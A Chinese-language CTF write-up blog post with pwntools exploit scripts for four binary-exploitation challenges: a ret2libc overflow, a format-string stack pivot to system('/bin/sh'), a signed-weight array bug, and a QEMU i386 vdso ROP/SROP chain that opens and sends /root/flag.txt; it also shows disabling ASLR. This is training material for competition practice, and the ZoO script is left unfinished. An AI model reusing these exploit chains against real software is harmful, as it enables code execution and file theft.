# fmt/qemu/vdso/orw/Overflow

Pwner: 4riH04X

三道 wolvctf 2023 的改改编题,一道 qemu+vdso+32 位栈溢出的题

# 1.【Done】repeater

# Easy 的 ret2libc

覆盖最低位字节,返回到 puts 前,泄露当时未清空的 rsi = forkfile,泄露 libc 基地址,后面正常 rop

题解exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import*
from LibcSearcher import*
#p=remote('124.223.159.125','9023')
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf=ELF('./pwn')
#libc=ELF("/mnt/hgfs/Ubuntu_share/all_libc/amd64/16libc-2.23.so")
libc=ELF("/mnt/hgfs/Ubuntu_share/CTF/Pwn/t1d/t1dctf/tag/libc.so.6")
#print(hex(libc.symbols["funlockfile"]))
debug = 1
if debug:
p = remote('tld1027.com', 9030)
else:
p = process("./pwn")
#gdb.attach(p)


call = 0xbd
func_addr = 0x11C9
p.recvuntil(b'You say:\n')
p.send(b'281')
pause()
p.send(b'a'*279 + b'\x66'+b'\xbd')
pause()
p.recvuntil(b'\x66')

received_data = p.recvuntil(b'\x0a')[:-1]
# 从剩余数据中取最后6个字节,如果不足6字节则整体取出,然后左侧填充'\x00'至8字节
call_addr = u64(received_data[-6:].ljust(8, b'\x00'))

print(hex(call_addr))

pie_addr = call_addr - 0x12bd
stdin_addr = pie_addr + 0x4020

pop_rsi = pie_addr + 0x10E9

ret = pie_addr + 0x12d7

puts_plt =0x12B3 + pie_addr
p.recvuntil(b'You say:\n')
payload1= b'a'*280 + p64(puts_plt)

p.send(b'288')
pause()
p.send(payload1)
p.recvuntil(b'\x0a')
#p.recvuntil(b'\x0a')
received_data = p.recvuntil(b'\x0a')[:-1]
funlockfile_addr= u64(received_data[-6:].ljust(8, b'\x00'))
print(hex(funlockfile_addr))
pause()

libc_base=funlockfile_addr-libc.symbols["funlockfile"]
system_addr=libc_base + libc.symbols["system"]
bin_sh_addr=libc_base + next(libc.search(b'/bin/sh'))
pop_rdi_ret = libc_base + 0x2a3e5

p.recvuntil(b'You say:\n')
p.send(b'312')
pause()
payload2=b'a'*280 + p64(ret) +p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)
p.send(payload2)
p.interactive()

# 2.【Done】Tag

# Mid 的 fmt

后门函数有两个 fmt,第一个 fmt 泄露地址,第二个提前将 rbp、ret 写入栈中,用 fmt 修改二级指针,栈迁移实现 rop

进入后门函数需要通过逻辑匹配的漏洞,修改最低位为 \x01

题解exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import*
from LibcSearcher import*

context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf=ELF('./pwn')
#libc=ELF("/mnt/hgfs/Ubuntu_share/all_libc/amd64/16libc-2.23.so")
libc=ELF("/mnt/hgfs/Ubuntu_share/CTF/Pwn/t1d哥哥的push/t1dctf/tag/libc.so.6")
#print(hex(libc.symbols["funlockfile"]))
debug = 1
if debug:
p = remote('tld1027.com', '9020')
else:
p = process("./pwn")
#gdb.attach(p)


fmt = b'%7$p%11$p%30$p'
pay = fmt.ljust(27, b'a')

oldtag = b'\x00'
newtag = b'\x01'
tag = b'<' + oldtag + b'>'

payload = pay + tag + b'<' + b'/'
p.recvuntil(b'Input >\n')
p.send(payload) #fread

# 绕过检测
p.recvuntil(b'Old tag to replace [q to quit] >\n')
p.send(oldtag)
p.send(b'\x0a')
p.recvuntil(b'New tag >\n')
p.send(newtag)
p.send(b'\x0a')

print("The func addr : 1325")

p.sendline(b'\x0a')
p.sendline(b'\x0a')

# $1+0x06
p.recvuntil(b'0x')
#$6 0x00在的地方作第一个 rsp:6
stack_addr = int(p.recv(12), 16) - (0x60040-0x5ff10)
log.success(f"stack_addr: {hex(stack_addr)}")

##$5+0x06 libc上
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 45 - libc.sym['_IO_file_write']
log.success(f"libc_base: {hex(libc_base)}")

#$0x18 + 0x06 函数上
p.recvuntil(b'0x')
pie_addr = int(p.recv(12), 16) - 0x1438
log.success(f"pie_addr: {hex(pie_addr)}")

pause()

system_addr=libc_base + libc.symbols["system"]
bin_sh_addr=libc_base + next(libc.search(b'/bin/sh'))
pop_rdi_ret = libc_base + 0x2a3e5

old_rbp = stack_addr + 0x110
leave = stack_addr + 0x118
leave_num = (pie_addr+0x13dc) & 0xffff
new_rbp = stack_addr + 0x28
num = new_rbp & 0xffff
fmt = (b'%' + str(leave_num).encode() + b'c%39$hn'+ b'%' + str(num-leave_num).encode("utf-8") + b'c%' + str(38).encode("utf-8") +b'$hn').ljust(0x20,b'a')
pay = fmt + p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)
payload = pay.ljust(256-0x10,b'a') + p64(old_rbp) + p64(leave)
p.send(payload)
p.interactive()

# 3.【Done】ZoO

# Hard(mid)的 “数组越界 "

初始化的 ZoO 的结构体为 0x18 字节,名字 0x10, 重量 0x08,但重量为无符号整型,可以传入 负数,

一开始准备利用 % s 的不截断 功能,强行塞满,并泄露有效信息,然后修改 ret,布置 rop

但是 fgets 函数,fget (a,0x10,a) 只能读入 0x10-1 个字节,并以 \x00 结束,所以说一定会截断。

后来才知道 flag 也是数字,因此只需要再次进入后门函数就可以了。cao

想到了五子棋的题,可以通过减法,修改 ret

题解exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import*
#p=remote('124.223.159.125','9023')
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf=ELF('./pwn')
#libc=ELF("/mnt/hgfs/Ubuntu_share/all_libc/amd64/16libc-2.23.so")
libc=ELF("/mnt/hgfs/Ubuntu_share/CTF/Pwn/t1d哥哥的push/t1dctf/tag/libc.so.6")
#print(hex(libc.symbols["funlockfile"]))
debug = 0
if debug:
p = remote('tld1027.com', 9040)
else:
p = process("./pwn")
#gdb.attach(p)


def choose_1(name,amount):
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'Name >\n')
p.sendline(name)
p.recvuntil(b'Amount to feed >\n')
p.sendline(str(amount).encode())

pay1 = b'\x14'
pay2 = b'\x09'
pause()
choose_1(pay1+pay2,1)
choose_1(2*pay1+pay2,1)
choose_1(3*pay1+pay2,-1)
# 1,157,442,765,409,226,768
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'Name >\n')
p.send(14*pay1+pay2)
p.recvuntil(b'Amount to feed >\n')
p.sendline(b'-1')
choose_1(4*pay1+pay2,-20)

pause()
choose_1(pay1+pay2,1)
choose_1(2*pay1+pay2,1)
choose_1(3*pay1+pay2,-1)
# 1,157,442,765,409,226,768

# v7 = 9 i =
#i = 0
#payload =
#choose_1()
# a/n的v7等于 7

p.interactive()

# 4.Strange

# 地狱 qemu+x86 栈 + vdso | orw_rop | open+sendfile_srop

# 一。解析

1. 题目仅仅是 32 位的一个 read,没有动态依赖

2. 要求我们调试 qemu,在 hello 程序运行时,需要学习指令:

命令
1
echo -ne 'payload字符串' | ./hello

这个命令的作用是将一个空字符串作为输入传递给 ./hello 程序,-n 是不换行输入,-e 会解析 \x00 这类 ascall 码

3.gdb 监听 qemu,target remote : 1234

4.qemu 启动的这个内核,关闭了地址随机化 ASLA

命令
1
echo 0 >/proc/sys/kernel/randomize_va_space

5.vdso 是虚拟链接库,,,主要是为了解决不同内核版本用同一个 glibc 的烦恼,所以强制夹在里面

里面有 gadget 和 syscall

6.i386 中一定有 vdso 的 srop 用的 syscall

栈溢出 SROP 攻击 - 知乎 (zhihu.com)

# 二.EXP

T1d 师傅的 exp,,,,,主要是找到了 mov_eax_ecx = vdso_addr + 0xb73 这么关键的 gadget,遗憾的是没有找到这个。

由于没有开随机化,栈地址、内存全是固定的。

题解exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.arch = 'i386'

stack_addr = 0xffffde4c
addr = stack_addr + 0x20
vdso_addr = 0xf7ffc000
pop_edx_ecx = vdso_addr + 0x57a
pop_ebx_4 = vdso_addr + 0x610
mov_eax_ecx = vdso_addr + 0xb73
int80_ret = 0x8049010 # eax会清零

payload = b'/root/flag.txt\x00'.ljust(0x20, b'\x00')
payload += p32(pop_ebx_4) + p32(stack_addr) * 3 + p32(0xffffde8c) + p32(pop_edx_ecx) + p32(0) + p32(5) + p32(mov_eax_ecx)
payload += p32(pop_edx_ecx) + p32(0) * 2 + p32(pop_ebx_4) + p32(stack_addr) * 4 + p32(int80_ret)

payload += p32(pop_ebx_4) + p32(3) * 3 + p32(0xffffded4) + p32(pop_edx_ecx) + p32(0) + p32(3) + p32(mov_eax_ecx)
payload += p32(pop_edx_ecx) + p32(0x40) + p32(0x804A000) + p32(pop_ebx_4) + p32(3) * 4 + p32(int80_ret)
# payload += p32(0x8049015)
payload += p32(pop_ebx_4) + p32(1) * 3 + p32(0xffffdf1c) + p32(pop_edx_ecx) + p32(0) + p32(4) + p32(mov_eax_ecx)
payload += p32(pop_edx_ecx) + p32(0x40) + p32(0x804A000) + p32(pop_ebx_4) + p32(1) * 4 + p32(int80_ret)

print(len(payload))
print(payload)

# echo -ne '' | ./hello

晚秋师傅的 srop

题解exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
from LibcSearcher import *
from ae64 import AE64
from ctypes import cdll

# filename = './hello'
# context.arch='i386'
context.arch = 'i386'
context.log_level = "debug"
context.terminal = ['tmux', 'neww']
local = 1
all_logs = []
# elf = ELF(filename)
# libc = elf.libc

# if local:
# sh = process(filename)
# else:
# sh = remote('tld1027.com', 9010)

def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid, params)
pause()

def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)

syscall_pop3 = 0xf7ffc000 + 0x577 # int 80,pop ebp ; pop edx ; pop ecx ; ret #其实直接有syscall _ ret
flag_addr = 0xffffde70
rt_sigreturn = 0xf7ffc5a0
sigreturn = 0xf7ffc591
# esp2 = 0xffffdf6c
mid = 0xffffdec4
stack2 = 0xffffdfb8

payload = b'a'*0x20 + p32(rt_sigreturn)

payload2 = b"/root/flag.txt\x00\x00".ljust(0x54, b'c')
payload2 += p32(rt_sigreturn)
payload2 = payload2.ljust(160, b'c')

payload += payload2

frame = SigreturnFrame(kernel='i386')
frame.eax = constants.SYS_open
frame.eip = syscall_pop3
frame.ebx = flag_addr # 1
frame.ecx = 0 # 2
frame.edx = 0 # 3
frame.esp = mid - 4*3

frame.cs = 35
frame.ss = 43
frame.ds = 43
frame.es = 43
frame.fs = 0
frame.gs = 0

# payload = payload + bytes(frame)
# print(payload)
# payload = bytes(frame)
# print(payload)

# frame2 = SigreturnFrame(kernel='i386')
# frame2.eax = constants.SYS_read
# frame2.eip = syscall_pop3
# frame2.ebx = 3 # 1
# frame2.ecx = flag_addr # 2
# frame2.edx = 0x20 # 3
# frame2.esp = stack2

frame2 = SigreturnFrame(kernel='i386')
frame2.eax = constants.SYS_sendfile
frame2.eip = syscall_pop3
frame2.ebx = 1 # 1
frame2.ecx = 3 # 2
frame2.edx = 0 # 3
frame2.esi = 0x20
frame2.esp = stack2

frame2.cs = 35
frame2.ss = 43
frame2.ds = 43
frame2.es = 43
frame2.fs = 0
frame2.gs = 0

payload = payload + bytes(frame) + p32(0)*2 + bytes(frame2) + p32(0)*3 + p32(rt_sigreturn)

payload = b'echo -ne "' + payload + b'" | ./hello'
print(payload)

# start 0xffffdf10
# end 0xffffdf60

# sigreturn
# cccccccc
# (sigreturn) 0xffffdec0
# cccccccc
# frame1
# frame2

# 三。收获

1. 关于 qemu 的调试,设置断点、c,不断往复,这也是调试内核的手段

2. 关于 srop,学习 srop 的常规操作

1) 存在栈溢出

2)可以泄露栈地址,(即可以知道参数的地址)

3)需要 syscall 的地址

4)需要 sigreturn 的地址 (强制按照 frame 内存恢复进程状态)相比较传统的 ROP 攻击,需要的 gadgets 更少,构造更方便。

满足这 4 个可以实现任意 syscall(当然字节数要够)

3.srop 主要依靠 frame 设置寄存器值,将 eip 设置成 ret(pop_ret 啥的也行),主要去执行 ret 后的 esp 后的来控制程序流(此时已经设置好寄存器值)

因此 srop 仅仅可以作为工具

加油

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

4riH04X 微信支付

微信支付